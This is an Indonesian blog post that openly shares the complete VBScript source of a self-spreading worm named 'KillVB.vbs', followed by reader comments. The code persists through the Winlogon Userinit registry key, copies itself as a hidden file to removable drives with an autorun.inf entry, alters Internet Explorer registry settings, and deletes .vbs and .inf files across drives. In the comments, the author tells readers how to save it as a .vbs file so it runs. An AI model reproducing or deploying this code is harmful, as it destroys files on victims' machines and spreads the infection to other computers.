Virus KillVB.vbs Script
Kalau ada yang mau bermain Virus neh ta kasi.
Option Explicit
On Error Resume Next
Dim Fso, Shells, SystemDir, WinDir, Count, File, Drv, Drives, InDrive, ReadAll, AllFile, WriteAll, Del, Chg
Set Fso = CreateObject(”Scripting.FileSystemObject”)
Set Shells = CreateObject(”Wscript.Shell”)
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir = Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(Wscript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.Drives
Set ReadAll = File.OpenAsTextStream(1, -2)
Do While Not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbCrLf
Loop
Count = Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(SystemDir & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(SystemDir & “\killVBS.vbs”)
WriteAll.Attributes = -1
End If
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\killVBS.vbs”
For Each Drives In InDrive
If Drives.DriveType = 2 Then
LookVBS “inf”, Drives.Path & “\”
LookVBS “INF”, Drives.Path & “\”
End If
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path <> “A:” Then
Shells.Regdelete “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “”
Shells.RegWrite “HKCR\vbsfile\DefaultIcon”, “%SystemRoot%\System32\WScript.exe,2″
LookVBS “vbs”, WinDir & “\”
LookVBS “vbs”, Drives.Path & “\”
If Drives.DriveType = 1 Then
If Drives.Path <> “A:” Then
If Not Fso.FileExists(Drives.Path & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\killVBS.vbs”)
WriteAll.Attributes = -1
End If
If Fso.FileExists(Drives.Path & “\autorun.inf”) Or Fso.FileExists(Drives.Path & “\AUTORUN.INF”) Then
Set Chg = Fso.GetFile(Drives.Path & “\autorun.inf”)
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\autorun.inf”, 2, True)
WriteAll.WriteLine “[autorun]”
WriteAll.WriteLine “shellexecute=wscript.exe killVBS.vbs”
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\autorun.inf”)
WriteAll.Attributes = -1
Else
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\autorun.inf”, 2, True)
WriteAll.WriteLine “[autorun]”
WriteAll.WriteLine “shellexecute=wscript.exe killVBS.vbs”
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\autorun.inf”)
WriteAll.Attributes = -1
End If
End If
End If
End If
End If
Next
If Count <> 1 Then
Wscript.sleep 10000
End If
Loop While Count <> 1
Sub LookVBS(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile, Cut, Delete
Set oFileSys = CreateObject(”Scripting.FileSystemObject”)
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut = Right(oFile.Name, 3)
If UCase(Cut) = UCase(File2Find) Then
If oFile.Name <> “killVBS.vbs” Then Set Delete = oFileSys.DeleteFile(SrchPath & oFile.Name, True)
End If
Next
End Sub
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\killVBS.vbs”
Shells.Regdelete “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “”
Shells.RegWrite “HKCR\vbsfile\DefaultIcon”, “%SystemRoot%\System32\WScript.exe,2″
Popularity: 1% [?]
Recomended | jadul | 
September 2, 2008 7:21 pm
RANDOM POST
- lxlabs owner dead so how about lxadmin
- Keyword Difficulty
- [Kunci SEO 2008] Content
- Setting Router di Fedora
- 19 Manfaat Rokok
- Awas, Sering Telepon Bikin Sperma Rusak
- Tak Ada Tempe, Kacang pun Jadi
- my mastercard get delivered to my house
- Dhea Imut
- Denger apa kata AS tentang kita…
9 Comments
Other Links to this Post
RSS feed for comments on this post. TrackBack URI
By diah, September 4, 2008 @ 1:05 am
apaan tuh q gak ngerti……boleh lah nambah pengetahuan biar keliatan gak asing lagi..brumm
By yhadee, September 4, 2008 @ 5:19 am
belakangan pc-ku juga kena demam virus yng nnni :P
By jadul, September 4, 2008 @ 2:32 pm
soalnya ketemu diwarnet. sapa tau aja ada master antivirus yang berkunjung.
By opit, November 8, 2008 @ 10:32 am
format nya dalam bentuk ap mas??mksih bt pengetahuan nya..
By jadul, November 8, 2008 @ 7:58 pm
copy di notepad
kasi nama viruskillvb.vbs
inget extentionnya bukan .txt tapi .vbs
By faisal muttaqin, November 28, 2008 @ 12:16 pm
Bos aku bisa minta script cara menanggulangi viruskill.vbs?? kalau bisa, minta tolong kirimin di emailku ya BOS,,,,, THANKS..!!!
By irhdhy, December 22, 2008 @ 6:13 pm
saya sudah coba copy di notpad dengan extensi .vbs “sediki2 she saya ngerti tentang virus truz kenapa virus nya ga berhasil ya. . . sebel ne gw jadinya . . . turz jgn lp bos anti virusnya jg . . . kirim virus yang keren ya bos di alamat saya irhdhy@yahoo.co.id thx . . .
By mas_cul, February 4, 2009 @ 9:27 pm
q pusing ngeliatnya ajah……..
gimana nich………
sa jelasin nggk??!
By Black Cpa Hacker, May 12, 2009 @ 1:01 pm
scriptnya cemen